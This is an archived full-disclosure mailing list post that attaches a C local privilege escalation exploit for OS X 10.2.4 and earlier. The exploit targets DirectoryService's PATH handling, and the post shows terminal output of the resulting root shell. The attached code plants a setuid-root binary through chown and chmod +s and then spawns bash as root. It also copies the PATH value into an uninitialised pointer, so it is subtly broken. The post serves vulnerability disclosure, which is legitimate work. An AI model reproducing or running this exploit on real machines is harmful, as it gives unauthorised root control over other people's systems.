full-disclosure - OS X DirectoryService DoS {@...ke adv:

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From: neeko at haackey.com (Neeko Oni)
Subject: OS X DirectoryService DoS {@...ke adv:

Hoping to encourage people to figure out what @stake was talking about
in regards to the OS X DirectoryService DoS, I've attached a local
exploit for DirectoryService _once is has been crashed/killed_.

[sera:~] loser% gcc osxds.c -o touch
[sera:~] loser% ./touch
Original path: /bin:/sbin:/usr/bin:/usr/sbin
New path: .
Executing DirectoryService with false PATH...
Forked DirectoryService, pausing before shell exec...
sh: rm: command not found
Cross your fingers.
Path restored: /bin:/sbin:/usr/bin:/usr/sbin
euid is root.
root:~# id
uid=0(root) gid=20(staff) groups=20(staff)
root:~# 

> 
> Neeko Oni wrote:
> 
> >Ok, the PATH problem is self-explanatory (and has been exploited once
> the DirectoryService process has crashed) but I've had some difficulty
> >reproducing the DoS attack claim.  I've got a 10.2.4 machine sitting
> >right next to me, I believe it's a stock install, but DirectoryService
> >doesn't bind 625.  DirectoryService doesn't bind any ports and
> >furthermore nothing binds 625 at all.
> >
> >Has anyone reproduced the DoS in that advisory?
> 
> I also read the advisory and of the two MacOS machines that I am able
> to access (only one locally) I can confirm that on the machine that
> I don't have local access there was a daemon running on port 625 and
> as the advisory states I was able to reproduce the DoS attack. I'm 
> not sure exactly which version of MacOS X that machine was running
> but the daemon did crash and and refuse connection.
> 
> On the machine that I know for a fact is 10.2.4 and have local access to,
> DirectoryService was setuid root and was running but there was no port
> 625 open. I haven't port scanned the machine to check other ports yet
> so i'm not ruling out the possibility its running on a different port
> just yet.
> 
> Has anyone else looked into this matter... ?
> 
> -subversive
> -- 
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-------------- next part --------------
/* 
   OS X <= 10.2.4 DirectoryService local root PATH exploit
   DirectoryService must be crashed prior to execution, per
   @stake advisory.  If you discover how to crash DirectoryService
   e-mail me at neeko@...ckey.com  [Neeko Oni]

[Copying and pasting code does not make you cool, no matter how many
dollars per hour you make.  Sorry.]

--
Assuming DirectoryService has been crashed/killed, compile
this code as 'touch' (gcc osxds.c -o touch) and execute.

bash$ ./touch
*bunch of stuff here*
euid is root.
bash#

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int 
main(int argc, char **argv)
{
	char           *ORIGPATH;
	int             temp;
	if (argc < 2) {
		if (geteuid() == 0) {
		printf("euid is root.\n");
		setuid(0);
		execl("/bin/bash", "bash", NULL);
		}
		strcpy(ORIGPATH, getenv("PATH"));
		printf("Original path: %s\n", ORIGPATH);
		setenv("PATH", ".", 1);
		printf("New path: %s\n", getenv("PATH"));
		printf("Executing DirectoryService with false PATH...\n");
		if (fork() == 0) {
			execl("/usr/sbin/DirectoryService", "DirectoryService", NULL);
		}
		printf("Forked DirectoryService, pausing before shell exec...\n");
		sleep(3);
		printf("Cross your fingers.\n");
		setenv("PATH", ORIGPATH, 1);
		printf("Path restored: %s\n", getenv("PATH"));
		execl("./touch", "touch", NULL);		
	}
system("/usr/sbin/chown root ./touch;/bin/chmod +s ./touch");
}